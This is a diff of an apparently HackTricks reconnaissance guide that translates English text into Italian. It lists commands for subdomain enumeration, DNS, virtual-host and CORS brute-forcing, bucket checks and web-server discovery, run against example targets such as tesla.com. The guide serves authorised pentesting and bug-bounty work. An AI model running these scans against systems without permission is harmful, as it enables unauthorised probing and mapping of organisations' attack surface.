Poi cerca quella stringa in **google**, in altri **browser** o anche in **shodan**: `shodan search http.html:"Copyright string"` ### **CRT Time** -It's common to have a cron job such as - +È comune avere un cron job come ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +per rinnovare tutti i certificati di dominio sul server. Questo significa che anche se la CA utilizzata per questo non imposta il tempo in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza dei certificati**.\ +Controlla questo [**writeup per ulteriori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### Informazioni DMARC Mail -### Mail DMARC information +Puoi utilizzare un sito web come [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o uno strumento come [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) per trovare **domini e sottodomini che condividono le stesse informazioni DMARC**. -You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**. +### **Takeover Passivo** -### **Passive Takeover** +A quanto pare è comune per le persone assegnare sottodomini a IP che appartengono a fornitori di cloud e a un certo punto **perdere quell'indirizzo IP ma dimenticare di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) stai effettivamente **prendendo possesso di alcuni sottodomini**. -Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +[**Questo post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia al riguardo e propone uno script che **crea una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record di sottodominio** che puntano ad essa. -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +### **Altri modi** -### **Other ways** - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Nota che puoi utilizzare questa tecnica per scoprire più nomi di dominio ogni volta che trovi un nuovo dominio.** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +Come già sai il nome dell'organizzazione che possiede lo spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS. -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e poi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) è uno strumento che cerca **domini correlati** con un dominio principale e **sottodomini** di essi, davvero sorprendente. -### **Looking for vulnerabilities** +### **Cercare vulnerabilità** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +Controlla per qualche [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse qualche azienda sta **utilizzando un dominio** ma ha **perso la proprietà**. Registralo (se abbastanza economico) e fai sapere all'azienda. -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e qualche [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\ +&#xNAN;_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel campo, fai attenzione._ -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomains +## Sottodomini -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. +> Sappiamo tutte le aziende all'interno del campo, tutti gli asset di ciascuna azienda e tutti i domini correlati alle aziende. -It's time to find all the possible subdomains of each found domain. +È tempo di trovare tutti i possibili sottodomini di ciascun dominio trovato. > [!TIP] -> Note that some of the tools and techniques to find domains can also help to find subdomains +> Nota che alcuni degli strumenti e delle tecniche per trovare domini possono anche aiutare a trovare sottodomini ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +Proviamo a ottenere **sottodomini** dai record **DNS**. Dovremmo anche provare per il **Zone Transfer** (Se vulnerabile, dovresti segnalarlo). ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +Il modo più veloce per ottenere molti sottodomini è cercare in fonti esterne. Gli **strumenti** più utilizzati sono i seguenti (per risultati migliori configura le chiavi API): - [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -242,108 +217,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - - [**Amass**](https://github.com/OWASP/Amass) - ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - - [**subfinder**](https://github.com/projectdiscovery/subfinder) - ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - - [**findomain**](https://github.com/Edu4rdSHL/findomain/) - ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - - [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) - ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - - [**assetfinder**](https://github.com/tomnomnom/assetfinder) - ```bash assetfinder --subs-only ``` - - [**Sudomy**](https://github.com/Screetsec/Sudomy) - ```bash # It requires that you create a sudomy.api file with API keys sudomy -d tesla.com ``` - - [**vita**](https://github.com/junnlikestea/vita) - ``` vita -d tesla.com ``` - - [**theHarvester**](https://github.com/laramies/theHarvester) - ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +Ci sono **altri strumenti/API interessanti** che, anche se non specializzati direttamente nella ricerca di sottodomini, potrebbero essere utili per trovarli, come: -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilizza l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) per ottenere sottodomini ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +- [**API gratuita JLDC**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -- [**RapidDNS**](https://rapiddns.io) free API - +- [**RapidDNS**](https://rapiddns.io) API gratuita ```bash # Get Domains from rapiddns free API rapiddns(){ - curl -s "https://rapiddns.io/subdomain/$1?full=1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://rapiddns.io/subdomain/$1?full=1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } rapiddns tesla.com ``` - - [**https://crt.sh/**](https://crt.sh) - ```bash # Get Domains from crt free API crt(){ - curl -s "https://crt.sh/?q=%25.$1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://crt.sh/?q=%25.$1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } crt tesla.com ``` - -- [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +- [**gau**](https://github.com/lc/gau)**:** recupera URL noti da Open Threat Exchange di AlienVault, dalla Wayback Machine e da Common Crawl per un dato dominio. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Scrappano il web alla ricerca di file JS ed estraggono i sottodomini da lì. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -351,42 +298,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - - [**Shodan**](https://www.shodan.io/) - ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - - [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) - ```bash export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` - - [**DomainTrail.py**](https://github.com/gatete/DomainTrail) - ```bash python3 DomainTrail.py -d example.com ``` - -- [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history +- [**securitytrails.com**](https://securitytrails.com/) ha un'API gratuita per cercare subdomini e la cronologia degli IP - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +Questo progetto offre **gratuitamente tutti i subdomini relativi ai programmi di bug-bounty**. Puoi accedere a questi dati anche utilizzando [chaospy](https://github.com/dr-0x0x/chaospy) o persino accedere all'ambito utilizzato da questo progetto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +Puoi trovare un **confronto** di molti di questi strumenti qui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNS Brute force** -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. +Proviamo a trovare nuovi **subdomini** forzando i server DNS utilizzando possibili nomi di subdominio. -For this action you will need some **common subdomains wordlists like**: +Per questa azione avrai bisogno di alcune **wordlist comuni di subdomini come**: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -394,118 +334,93 @@ For this action you will need some **common subdomains wordlists like**: - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +E anche IP di buoni risolutori DNS. Per generare un elenco di risolutori DNS affidabili puoi scaricare i risolutori da [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e utilizzare [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) per filtrarli. Oppure potresti usare: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -The most recommended tools for DNS brute-force are: - -- [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +Gli strumenti più raccomandati per il brute-force DNS sono: +- [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento a eseguire un efficace brute-force DNS. È molto veloce, tuttavia è soggetto a falsi positivi. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -- [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +- [**gobuster**](https://github.com/OJ/gobuster): Questo penso utilizzi solo 1 risolutore ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) è un wrapper attorno a `massdns`, scritto in go, che ti consente di enumerare sottodomini validi utilizzando un bruteforce attivo, oltre a risolvere sottodomini con gestione dei wildcard e supporto facile per input-output. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -- [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +- [**puredns**](https://github.com/d3mondev/puredns): Utilizza anche `massdns`. ``` puredns bruteforce all.txt domain.com ``` - -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare in modo asincrono i nomi di dominio. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` +### Seconda fase di brute-force DNS -### Second DNS Brute-Force Round - -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi generare alterazioni dei sottodomini trovati per cercare di trovarne ancora di più. Diversi strumenti sono utili a questo scopo: +- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dati i domini e i sottodomini, genera permutazioni. ```bash cat subdomains.txt | dnsgen - ``` - -- [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - - You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati i domini e i sottodomini generare permutazioni. +- Puoi ottenere le permutazioni di goaltdns **wordlist** in [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -- [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +- [**gotator**](https://github.com/Josue87/gotator)**:** Dati i domini e i sottodomini, genera permutazioni. Se non viene indicato un file di permutazioni, gotator utilizzerà il proprio. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -- [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - - You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +- [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare permutazioni di sottodomini, può anche provare a risolverli (ma è meglio usare gli strumenti commentati in precedenza). +- Puoi ottenere le permutazioni di altdns **wordlist** [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -- [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - - You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +- [**dmut**](https://github.com/bp0lr/dmut): Un altro strumento per eseguire permutazioni, mutazioni e alterazioni di sottodomini. Questo strumento forzerà il risultato (non supporta i wildcard DNS). +- Puoi ottenere la wordlist delle permutazioni di dmut [**qui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ - --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt +--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basato su un dominio, **genera nuovi potenziali nomi di sottodomini** basati su modelli indicati per cercare di scoprire più sottodomini. -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -- [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### Generazione di permutazioni intelligenti +- [**regulator**](https://github.com/cramppet/regulator): Per ulteriori informazioni leggi questo [**post**](https://cramppet.github.io/regulator/index.html), ma fondamentalmente prenderà le **parti principali** dai **sottodomini scoperti** e li mescolerà per trovare più sottodomini. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` - -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di brute-force per sottodomini abbinato a un algoritmo guidato dalla risposta DNS immensamente semplice ma efficace. Utilizza un insieme di dati di input fornito, come una wordlist personalizzata o record DNS/TLS storici, per sintetizzare accuratamente nomi di dominio corrispondenti e ampliarli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS. ``` echo www | subzuf facebook.com ``` +### **Flusso di lavoro per la scoperta di sottodomini** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** in modo da non dover avviare manualmente un sacco di strumenti sul mio computer: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} -### **VHosts / Virtual Hosts** +### **VHosts / Host Virtuali** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +Se hai trovato un indirizzo IP contenente **una o più pagine web** appartenenti a sottodomini, potresti provare a **trovare altri sottodomini con siti in quell'IP** cercando in **fonti OSINT** per domini in un IP o **forzando i nomi di dominio VHost in quell'IP**. #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +Puoi trovare alcuni **VHosts in IP utilizzando** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **o altre API**. -**Brute Force** - -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: +**Forza Bruta** +Se sospetti che qualche sottodominio possa essere nascosto in un server web, potresti provare a forzarlo: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -519,134 +434,129 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - > [!NOTE] -> With this technique you may even be able to access internal/hidden endpoints. +> Con questa tecnica potresti persino essere in grado di accedere a endpoint interni/nascosti. ### **CORS Brute Force** -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. - +A volte troverai pagine che restituiscono solo l'intestazione _**Access-Control-Allow-Origin**_ quando un dominio/subdominio valido è impostato nell'intestazione _**Origin**_. In questi scenari, puoi abusare di questo comportamento per **scoprire** nuovi **subdomini**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` - ### **Buckets Brute Force** -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +Mentre cerchi **subdomini**, fai attenzione a vedere se sta **puntando** a qualche tipo di **bucket**, e in tal caso [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +Inoltre, poiché a questo punto conoscerai tutti i domini all'interno dell'ambito, prova a [**forzare i nomi dei bucket possibili e controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/). -### **Monitorization** +### **Monitorizzazione** -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +Puoi **monitorare** se vengono creati **nuovi subdomini** di un dominio monitorando i **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). -### **Looking for vulnerabilities** +### **Cercare vulnerabilità** -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +Controlla possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +Se il **subdominio** sta puntando a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/). -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Se trovi un **subdominio con un IP diverso** da quelli che hai già trovato nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\ +&#xNAN;_Nota che a volte il subdominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._ ## IPs -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** +Nei passaggi iniziali potresti aver **trovato alcuni intervalli di IP, domini e subdomini**.\ +È tempo di **raccogliere tutti gli IP da quegli intervalli** e per i **domini/subdomini (query DNS).** -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Utilizzando i servizi delle seguenti **api gratuite**, puoi anche trovare **IP precedenti utilizzati da domini e subdomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) -You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host) +Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizzando lo strumento [**hakip2host**](https://github.com/hakluke/hakip2host) -### **Looking for vulnerabilities** +### **Cercare vulnerabilità** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +**Scansiona tutte le porte degli IP che non appartengono a CDN** (poiché probabilmente non troverai nulla di interessante lì). Nei servizi in esecuzione scoperti potresti essere **in grado di trovare vulnerabilità**. -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +**Trova una** [**guida**](../pentesting-network/) **su come scansionare gli host.** -## Web servers hunting +## Ricerca di server web -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli di IP, domini e subdomini all'interno dell'ambito. È tempo di cercare server web. -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi rapidi per cercare server web** all'interno dell'ambito. -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +Si prega di notare che questo sarà **orientato alla scoperta di web app**, quindi dovresti **eseguire la scansione delle vulnerabilità** e **scansione delle porte** anche (**se consentito** dall'ambito). +Un **metodo veloce** per scoprire **porte aperte** relative ai **server** web utilizzando [**masscan** può essere trovato qui](../pentesting-network/#http-port-discovery).\ +Un altro strumento amichevole per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Devi solo passare un elenco di domini e cercherà di connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` +### **Screenshot** -### **Screenshots** +Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **suscettibili** a essere **vulnerabili**. -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +Per eseguire l'idea proposta puoi usare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -To perform the proposed idea you can use 